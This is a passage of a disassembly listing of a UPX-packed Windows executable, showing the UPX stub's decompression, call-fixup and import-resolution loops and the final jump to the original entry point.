sub [esp+48h], eax sub edi, eax mov eax, edx shr ax, 5 sub dx, ax mov eax, [esp+18h] mov [ebp+0], dx mov edx, [esp+1Ch] inc eax or [esp], edx loc_47087B: ; CODE XREF: UPX1:0047085Aj mov ecx, [esp+20h] shl dword ptr [esp+1Ch], 1 dec ecx mov [esp+20h], ecx jnz loc_4707FE loc_47088E: ; CODE XREF: UPX1:00470761j mov esi, [esp] inc esi mov [esp+5Ch], esi jz short loc_4708F1 loc_470898: ; CODE XREF: UPX1:004706ABj mov ecx, [esp+0Ch] mov ebp, [esp+74h] add ecx, 2 cmp [esp+5Ch], ebp ja short loc_470908 mov eax, [esp+0A0h] mov edx, ebp sub eax, [esp+5Ch] add edx, [esp+0A0h] lea esi, [eax+ebp] loc_4708C0: ; CODE XREF: UPX1:004708DCj mov al, [esi] inc esi mov [esp+73h], al mov [edx], al inc edx inc dword ptr [esp+74h] dec ecx jz short loc_4708E0 mov ebp, [esp+0A4h] cmp [esp+74h], ebp jb short loc_4708C0 jmp short loc_4708F1 ; --------------------------------------------------------------------------- loc_4708E0: ; CODE XREF: UPX1:004701C0j ; UPX1:004701D1j ... mov eax, [esp+0A4h] cmp [esp+74h], eax jb loc_46FFAC loc_4708F1: ; CODE XREF: UPX1:00470896j ; UPX1:004708DEj cmp dword ptr [esp+48h], 0FFFFFFh ja short loc_470910 cmp ebx, [esp+4Ch] mov eax, 1 jz short loc_47092F jmp short loc_47090F ; --------------------------------------------------------------------------- loc_470908: ; CODE XREF: UPX1:0046FF86j ; UPX1:0046FFD6j ... mov eax, 1 jmp short loc_47092F ; --------------------------------------------------------------------------- loc_47090F: ; CODE XREF: UPX1:00470906j inc ebx loc_470910: ; CODE XREF: UPX1:0046FFA6j ; UPX1:004708F9j sub ebx, [esp+94h] xor eax, eax mov edx, [esp+9Ch] mov ecx, [esp+74h] mov [edx], ebx mov ebx, [esp+0A8h] mov [ebx], ecx loc_47092F: ; CODE XREF: UPX1:00470904j ; UPX1:0047090Dj add esp, 7Ch pop ebx pop esi pop edi pop ebp add esi, [ebx-4] add edi, [ebx-8] xor eax, eax lea ecx, [esp-100h] mov esp, ebp loc_470947: ; CODE XREF: UPX1:0047094Aj push eax cmp esp, ecx jnz short loc_470947 mov esp, ebp xor ecx, ecx pop esi mov edi, esi mov ecx, 1BA00h jmp short loc_47098C ; --------------------------------------------------------------------------- loc_47095A: ; CODE XREF: UPX1:00470999j mov al, [edi] add edi, 1 cmp al, 80h jb short loc_47096D cmp al, 8Fh ja short loc_47096D cmp byte ptr [edi-2], 0Fh jz short loc_470973 loc_47096D: ; CODE XREF: UPX1:00470961j ; UPX1:00470965j ... sub al, 0E8h cmp al, 1 ja short loc_470996 loc_470973: ; CODE XREF: UPX1:0047096Bj cmp byte ptr [edi], 11h jnz short loc_470996 mov eax, [edi] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi add eax, esi mov [edi], eax add edi, 4 loc_47098C: ; CODE XREF: UPX1:00470958j sub ecx, 4 mov al, [edi] add edi, 1 loop loc_47096D loc_470996: ; CODE XREF: UPX1:00470971j ; UPX1:00470976j sub ecx, 1 jg short loc_47095A lea edi, [esi+6C000h] loc_4709A1: ; CODE XREF: UPX1:004709C3j mov eax, [edi] or eax, eax jz short loc_4709EC mov ebx, [edi+4] lea eax, [eax+esi+71074h] add ebx, esi push eax add edi, 8 call dword ptr [esi+71150h] xchg eax, ebp loc_4709BE: ; CODE XREF: UPX1:004709E4j mov al, [edi] inc edi or al, al jz short loc_4709A1 mov ecx, edi jns short near ptr loc_4709CF+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_4709CF: ; CODE XREF: UPX1:004709C7j mov ecx, 0AEF24857h push ebp call dword ptr [esi+71154h] or eax, eax jz short loc_4709E6 mov [ebx], eax add ebx, 4 jmp short loc_4709BE ; --------------------------------------------------------------------------- loc_4709E6: ; CODE XREF: UPX1:004709DDj call dword ptr [esi+71164h] loc_4709EC: ; CODE XREF: UPX1:004709A5j mov ebp, [esi+71158h] lea edi, [esi-1000h] mov ebx, 1000h push eax push esp push 4 push ebx push edi call ebp ; GetDeviceCaps lea eax, [edi+21Fh] and byte ptr [eax], 7Fh and byte ptr [eax+28h], 7Fh pop eax push eax push esp push eax push ebx push edi call ebp ; GetDeviceCaps pop eax popa lea eax, [esp-80h] loc_470A20: ; CODE XREF: UPX1:00470A24j push 0 cmp esp, eax jnz short loc_470A20 sub esp, 0FFFFFF80h jmp loc_40BD35 ; --------------------------------------------------------------------------- align 10h dd 48h, 0Eh dup(0) dd offset dword_42A034 dd offset dword_4266B0 dd 3Ah, 162h dup(0) UPX1 ends ; Section 4. (virtual address 00073000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00073000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 473000h align 2000h _idata2 ends end start